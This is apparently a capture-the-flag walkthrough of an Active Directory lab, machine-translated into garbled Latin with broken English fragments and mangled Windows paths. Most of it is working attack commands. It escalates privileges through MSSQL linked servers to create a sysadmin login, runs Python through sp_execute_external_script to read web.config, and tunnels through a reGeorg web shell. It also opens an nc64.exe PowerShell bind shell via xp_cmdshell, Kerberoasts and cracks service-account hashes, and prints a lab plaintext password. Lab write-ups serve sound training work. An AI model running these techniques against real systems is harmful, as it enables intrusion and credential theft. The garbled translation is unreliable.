In hoc articulo, non solum machinae, sed totum mini-laboratorium e situ, transitum resolvemus
Sicut in descriptione declaratur, POO ad omnes gradus impetus experiendi destinatur in parva environment Active Directory. Propositum est componere praesto exercitum, escalate privilegia, ac tandem totam aream componendo 5 vexilla in processu componendo.
Connexio laboratorium per VPN est. Commendatur non coniungere ex computatrum operante vel ex hospite ubi tibi magna est notitia, sicut in retia privata cum hominibus qui sciunt aliquid de securitate notitiarum.
norma informationes
Ut invenire potes de articulis novis, programmatibus et aliis informationibus, creavi
Omnes informationes praebentur ad proposita scholastica tantum. Auctor documenti huius nullam responsabilitatem assumit de damno aliquo alicui illato ex scientia et methodo pervestigationis documenti consecuta.
Sanctus
Endgame hic duabus machinis constat ac quinque vexilla continet.
Etiam descriptio et inscriptio hospitii praesto est.
Lets 'satus!
Recon vexillum
Haec machina habet IP oratio 10.13.38.11 quae ad /etc/hostes addo.
10.13.38.11 poo.htb
Primus gradus est portus apertos lustrare. Quia longum tempus est omnes portus cum nmap lustrare, id primum massacans faciam. Nos omnes TCP et UDP portus e tun0 interfaciei in 500pps lustramus.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Nunc, ut accuratiorem informationem de officiis quae in portubus currunt, scandam cum optio curramus.
nmap -A poo.htb -p80,1433
Sic nos IIS et MSSQL habemus officia. In hoc casu inveniemus verum nomen DNS domain et computatrum. In server tela, ab IIS paginam salutamus.
In directoriis iteremus. Ego ad hoc utor gobuster. In parametris numerum rivorum 128 (-t), URL (-u), dictionarium (-u) et extensiones quae nobis interest definimus.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Ita authenticas HTTP habemus pro directorio /admin, necnon .DS_Store desktop muneris tabularii repositi in promptu. .DS_Store lima sunt ut occasus reponunt usorum pro folder, ut indicem fasciculorum, iconem, locum imaginis electae. Talis fasciculus finire potest in directorio interretialium interretialium. Ita notitias de contentis in indicem dabimus. Hoc enim uti potes
python3 dsstore_crawler.py -i http://poo.htb/
In directorii contenta obtinemus. Maxime interesting res hic est directorium /dev, ex quo fontes et db lima in duobus ramis videre possumus. Sed uti possumus primas 6 characteres documentorum et nomina presul si usus est in IIS ShortName vulnerabilis. Vos can reprehendo pro hac vulnerability utens
Et invenimus unum fasciculum textus qui incipit cum "poo_co". Nesciens quid faciendum sit, simpliciter sumo ex dictionario directoriis omnium verborum quae ab "co" incipiunt.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
et iterandum cum wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Et rectum verbum reperies! Hunc fasciculum conspicimus, praeter documentorum (per DBNAME parametrum judicantes, ex MSSQL sunt).
Vexillum tradimus et per XX% proficimus.
Huh vexillum
Coniungimus cum MSSQL, uti DBeaver.
Nihil interesting in hoc database invenimus, editorem SQL crearemus et quid usores esse videas.
SELECT name FROM master..syslogins;
Duo utentes habemus. Privilegia nostra perstringamus.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Ita nulla sunt privilegia. Videamus servos coniunctos, de hac arte scripsimus singillatim
SELECT * FROM master..sysservers;
Invenimus igitur alium SQL Servum. Executionem mandatorum in hoc servo utendo apertura perstringamus ().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Etiam lignum quaesitum aedificare possumus.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Ita res est, cum rogamus ut servo coniuncto, petitio fiat in contextu alterius usoris! Videamus quid in contextu usoris currimus in servo coniuncto.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Et nunc videamus quo in loco postulatio a nexa servo nostro efficiatur!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Ita est DBO contextus omnibus privilegiis. Inhibeamus privilegia in casu petitionis a servo coniuncto.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Ut vides, omnia privilegia habemus! Admin sic faciamus. Sed non per apertum, faciamus per EXSECUTIO AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Et nunc cum documentorum novi usoris coniungimus, vexillum novum datorum servamus.
Vexillum hoc super nos tradimus et ulterius procedemus.
Backtrack vexillum
Testam demus MSSQL utens, mssqlclient ex fasciculo fasciculi sum.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Tesserae nobis opus est, ac primum quod iam occurrit est situs. Ita nos telam server config egimus (testam opportunam iactare non possumus, ut videtur, murus ignis laborat).
Sed accessus negatur. Etsi tabellam ex MSSQL legere possumus, iustus opus est scire quid programmandi linguae configurantur. Et in MSSQL presul reperimus Pythonem ibi esse.
Tunc dubium non est legere fasciculi web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Cum documentis inventis, ire /admin et vexillum exciperent.
locum vexillum
Revera quaedam sunt incommoditates ab utendo firewall, sed per retiaculas spectantes, animadvertimus etiam protocollum IPv6 adhibitum esse!
Hanc electronicam ad /etc/hostes adde.
dead:babe::1001 poo6.htb
Iterum exercitum lustramus, sed hoc tempore in IPv6.
Et WinRM ministerium in IPv6 praesto est. Lets connect cum documentorum inventis.
Vexillum in escritorio, super illud.
P00ned vexillum
Post explorato exercitu cum
setspn.exe -T intranet.poo -Q */*
Mandatum faciamus per MSSQL.
Hoc modo efficimus SPN usorum p00_hr et p00_adm, quod significat vulnerabiles esse in oppugnatione Kerberoasting. In summa, tesserarum fasciculos accipere possumus.
Primum testam stabilem obtinere debes pro usuario MSSQL. Sed quia in accessu limitati sumus, hospitem nexum nonnisi per portus 80 et 1433 habemus. Sed fieri potest ad 80 portum mercaturae per cuniculum! Hoc enim utimur
Sed cum ad eum accedere conamur, 404 errorem consequimur, id est * fasciculi non sunt exsecuti. Ut lima cum his extensionibus currendum sit, ASP.NET 4.5 hoc modo institue.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Et nunc cum accessu cuniculi.aspx, respondemus omnia esse parata ad eundum.
De parte huius applicationis situs, quod negotium erit Nullam. Omnes negotiationes e portu 5432 ad server deinceps erimus.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Et utimur procuratoribus ad mittendam negotiationem cuiuslibet applicationis per nostrum procuratorem. Addamus hunc procuratorem ad limam /etc/proxychains.conf conformationem.
Nunc progressio ad servo upload
Nunc per MSSQL audientem deducimus.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
et per procuratorem nostrum coniungimus.
proxychains rlwrap nc poo.htb 4321
Et demus hashes.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Deinde hashes iterare debes. Cum rockyou not have a password data dictionary, usus sum Tesserae dictionarii in Seclists. Ad enumerationem utimur hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Et utrumque passwords invenimus, primum in dictionario dutch_passwordlist.txt, et alterum in Cantiones-Combinations.txt.
Itaque tres utentes habemus, ad dominium moderatorem imus. Inueniamus primum oratio eius.
Magnopere didicimus IP oratio moderatrix domain. Investigemus omnes usores pagi, tum quis eorum sit administrator. Ut download scriptum ut informationes PowerView.ps1. Tunc connectemus male winrm utentes, denotans indicem cum scripto in parametro -s. Et tunc iustus script onerant PowerView.
Nunc ad omnia eius munera accessum habemus. Usor p00_adm sicut usor privilegiatus spectat, sic in contextu operabimur. Faciamus objectum PSCredential pro hoc usuario.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Nunc omnia praecepta Powershell ubi denotamus, exsecutioni mandari faciemus pro p00_adm. Ostendamus indices utentium et AdminCount attributum.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Itaque usor noster vere privilegiatus est. Videamus quos coetus conveniat.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Tandem confirmamus usorem esse administratorem domain. Hoc dat ius remotius stipes in moderatoris dominii. Experiamur ut login cum WinRM utens nostro cuniculo. Confusus eram erroribus a reGeorg editis, cum male-winrm utens.
Deinde utimur alio faciliori;
Conamur coniungere, et in systemate sumus.
Sed vexillum nulla est. Tunc vide usorem deprime et desktops.
In mr3ks vexillum invenimus et laboratorium 100% perfectum est.
Id omne. Ut videre, explana an aliquid novi ex hoc articulo didicisti et an tibi utile fuerit.
Adiungere potes ad nos
Source: www.habr.com